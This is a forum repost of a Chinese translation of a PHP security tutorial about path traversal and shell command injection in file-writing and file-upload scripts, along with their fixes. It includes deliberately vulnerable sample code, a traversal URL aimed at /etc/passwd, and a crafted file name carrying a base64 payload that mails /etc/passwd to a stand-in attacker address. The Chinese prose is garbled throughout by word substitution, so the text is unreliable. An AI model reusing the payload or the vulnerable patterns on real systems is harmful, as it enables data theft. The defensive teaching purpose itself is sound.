|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
学会了生成静态网页,现在你应该接触一下XML了,恩,XML也了解了,那么AJAX你也得接触接触吧?AJAX完了....然后...平安 存眷平安成绩的主要性
看到的远非全体
禁止用户歹意损坏你的程式最无效却常常被疏忽的办法是在写代码时就思索它的能够性。寄望代码中能够的平安成绩是很主要的。思索下边的旨在简化用PHP中写入大批文本文件的进程的实例函数:
<?php
function write_text($filename, $text="") {
static $open_files = array();
// 假如文件名空,封闭全体文件
if ($filename == NULL) {
foreach($open_files as $fr) {
fclose($fr);
}
return true;
}
$index = md5($filename);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+");
if(!$open_files[$index]) return false;
}
fputs($open_files[$index], $text);
return true;
}
?>
这个函数带有两个缺省参数,文件名和要写入文件的文本。
函数将先反省文件是不是已被翻开;假如是,将利用本来的文件句柄。不然,将自行创立。在这两种情形中,文本城市被写入文件。
假如传递给函数的文件名是NULL,那末一切翻开的文件将被封闭。下边供应了一个利用上的实例。
假如开辟者以下边的格局来写入多个文本文件,那末这个函数将清晰和易读的多。
让咱们假定这个函数存在于一个独自的文件中,这个文件包括了挪用这个函数的代码。
下边是一个如许的程式,咱们叫它quotes.php:
<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
Choose the nature of the quote:
<select name="quote" size="3">
<option value="funny">Humorous quotes</option>
<option value="political">Political quotes</option>
<option value="love">Romantic Quotes</option>
</select><br />
The quote: <input type="text" name="quote_text" size="30" />
<input type="submit" value="Save Quote" />
</form>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($filename, $quote_msg)) {
echo "<center><hr><h2>Quote saved!</h2></center>";
} else {
echo "<center><hr><h2>Error writing quote</h2></center>";
}
write_text(NULL);
?>
好像你看到的,这位开辟者利用了write_text()函数来创立一个别系使得用户可以提交他们喜好的格言,这些格言将被寄存在一个文本文件中。
不幸的是,开辟者能够没有想到,这个程式也答应了歹意用户伤害web server的平安。
或许如今你正挠着头想着事实这个看起来很无辜的程式如何引入了平安风险。
假如你看不出来,思索下边这个URL,记住这个程式叫做quotes.php:
http://www.somewhere.com/fun/quotes.php?quote=different_file.dat"e_text=garbage+data
当这个URL传递给web server 时将会产生甚么?
明显,quotes.php将被履行,然而,不是将一句格言写入到咱们但愿的三个文件中之一,相反的,一个叫做different_file.dat的新文件将被创立,个中包括一个字符串garbage data。
明显,这不是咱们但愿的行动,歹意用户能够经由过程把quote指定为../../../etc/passwd来会见UNIX暗码文件从而创立一个帐号(虽然这需求web server以superuser运转程式,假如是如许的,你应当中断浏览,即刻去修复它)。
假如/home/web/quotes/可以经由过程阅读器会见,能够这个程式最严重的平安成绩是它答应任何用户写入和运转恣意PHP程式。这将带来无量的费事。
这里有一些处理计划。假如你只需求写入目次下的一些文件,可以思索利用一个相干的数组来寄存文件名。假如用户输出的文件存在于这个数组中,就能够平安的写入。另外一个设法是去失落一切的不是数字和字母的字符来确保没有目次朋分符号。还有一个举措是反省文件的扩大名来包管文件不会被web server履行。
准绳很复杂,作为一个开辟者你必需比程式在你但愿的情形下运转时思索更多。
假如不法数据进入到一个form元素中会产生甚么?歹意用户是不是能使你的程式以不但愿的体例运转?甚么办法能禁止这些进击?你的web server和PHP程式只要在最弱的平安链接下才平安,所以确认这些能够不平安的链接是不是平安很主要。
罕见的触及平安的毛病
这里给出一些要点,一个能够危及平安的编码上的和办理上的掉误的扼要不完全列表
毛病1。信任数据
这是贯串于我关于PHP程式平安的会商的主题,你决不克不及信任一个来自内部的数据。不论它来自用户提交表单,文件体系的文件或情况变量,任何数据都不克不及复杂的想固然的采取。所以用户输出必需停止验证并将之格局化以包管平安。
毛病2。在web目次中存储敏感数据
任何和一切的敏感数据都应当寄存在自力于需求利用数据的程式的文件中,并保留在一个不克不及经由过程阅读器会见的目次下。当需求利用敏感数据时,再经由过程include 或 require语句来包括到恰当的PHP程式中。
毛病3。不利用保举的平安提防办法
PHP手册包括了在利用和编写PHP程式时关于平安提防的完全章节。手册也(几近)基于案例清晰的申明了甚么时分存在潜伏平安风险和怎样将风险下降到最低。又如,歹意用户依托开辟者和办理员的掉误失掉关怀的平安信息以获得体系的权限。寄望这些正告并恰当的接纳办法来减小歹意用户给你的体系带来真实的损坏的能够性。
在PHP中履行体系挪用
在PHP中有良多办法可以履行体系挪用。
好比,system(), exec(), passthru(), popen()和 反单引号(`)操作符都答应你在程式中履行体系挪用。假如不恰当的利用上边这些函数将会为歹意用户在你的办事器上履行体系号令翻开大门。像在会见文件时,绝大多半情形下,平安破绽产生在因为不成靠的内部输出招致的体系号令履行。
利用体系挪用的一个例子程式
思索一个处置http文件上传的程式,它利用zip法式来紧缩文件,然后把它挪动到指定的目次(默许为/usr/local/archives/)。代码以下:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
rename($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
固然这段程式看起来相当复杂易懂,然而歹意用户却可以经由过程一些办法来使用它。最严重的平安成绩存在于咱们履行了紧缩号令(经由过程`操作符),鄙人边的行中可以清晰的看到这点:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
棍骗程式履行恣意shell号令
固然这段代码看起来相当平安,它却有使任何有文件上传权限的用户履行恣意shell号令的潜伏风险!
正确的说,这个平安破绽来自对$cmp_name变量的赋值。在这里,咱们但愿紧缩后的文件利用从客户机上传时的文件名(带有 .zip扩大名)。咱们用到了$_FILES['file']['name'](它包括了上传文件在客户机时的文件名)。
在如许的情形下,歹意用户完整可以经由过程上传一个含对底层操作体系有特别意义字符的文件来到达本人的目标。举个例子,假如用户依照下边的模式创立一个空文件会怎样?(UNIX shell提醒符下)
[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';"
这个号令将创立一个名字以下的文件:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';
看起来很奇异?让咱们来看看这个“文件名”,咱们发明它很像使CLI版本的PHP履行以下代码的号令:
<?php
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>
假如你出于猎奇而显示$code变量的内容,就会发明它包括了mail baduser@somewhere.com < /etc/passwd。假如用户把这个文件传给程式,接着PHP履行体系挪用来紧缩文件,PHP实践大将履行以下语句:
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';.zip /tmp/phpY4iatI
让人受惊的,上边的号令不是一个语句而是3个!因为UNIX shell 把分号(;)注释为一个shell号令的停止和另外一号令的入手下手,除分号在在引号中时,PHP的system()实践大将以下履行:
[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI
如你所见,这个看起来有害的PHP程式俄然酿成履行恣意shell号令和其他PHP程式的后门。固然这个例子只会在途径下有CLI版本的PHP的体系上无效,然而用这类手艺可以经由过程其他的办法来到达一样的后果。
匹敌体系挪用进击
这里的关头依然是,来自用户的输出,不论内容若何,都不该该信任!成绩依然是若何在利用体系挪用时(除基本不利用它们)防止相似的情形呈现。为了匹敌这类类型的进击,PHP供应了两个函数,escapeshellarg() 和 escapeshellcmd()。
escapeshellarg()函数是为了从用作体系号令的参数的用户输出(在咱们的例子中,是zip号令)中移出含有潜伏风险的字符而设计的。这个函数的语法以下:
escapeshellarg($string)
$string地点处是用于过滤的输出,前往值是过滤后的字符。履行时,这个函数将在字符双方添加单引号,并本义本来字符串中的单引号(在其前边加上)。在咱们的例程中,假如咱们在履行体系号令之前加上这些行:
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
咱们就可以经由过程确保传递给体系挪用的参数已处置,是一个没有其他意图的用户输出,以躲避如许的平安风险。
escapeshellcmd()和escapeshellarg()相似,只是它只本义对底层操作体系有特别意义的字符。和escapeshellarg()分歧,escapeshellcmd()不会处置内容中的空白格。举个实例,当利用escapeshellcmd()本义时,字符
$string = "'hello, world!';evilcommand"
将变成:
'hello, world';evilcommand
假如这个字符串用作体系挪用的参数它将依然不克不及失掉准确的了局,由于shell将会把它分离注释为两个分别的参数: 'hello 和 world';evilcommand。假如用户输出用于体系挪用的参数列表局部,escapeshellarg()是一个更好的选择。
回护上传的文件
在整篇文章中,我一向只侧重讲体系挪用若何被歹意用户劫持以发生咱们不但愿了局。
然而,这里还有别的一个潜伏的平安风险值得提到。再看到咱们的例程,把你的注重力集中鄙人边的行上:
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
上边片段中的代码行招致的一个潜伏平安风险是,最初一行咱们判别上传的文件是不是实践存在(以一时文件名$tmp_name存在)。
这个平安风险其实不来自于PHP本身,而在于保留在$tmp_name中的文件名实践上基本不是一个文件,而是指向歹意用户但愿会见的文件,好比,/etc/passwd。
为了避免如许的情形产生,PHP供应了is_uploaded_file()函数,它和file_exists()一样,然而它还供应文件是不是真的从客户机上上传的反省。
在绝大多半情形下,你将需求挪动上传的文件,PHP供应了move_uploaded_file()函数,来共同is_uploaded_file()。这个函数和rename()一样用于挪动文件,只是它会在履行前主动反省以确保被挪动的文件是上传的文件。move_uploaded_file()的语法以下:
move_uploaded_file($filename, $destination);
在履行时,函数将挪动上传文件$filename到目标地$destination并前往一个布尔值来标记操作是不是胜利。
注: John Coggeshall 是一名PHP参谋和作者。从他入手下手为PHP不眠已5年摆布了。
英文原文:http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html
接触MYSQL,开始设计数据库程序 |
|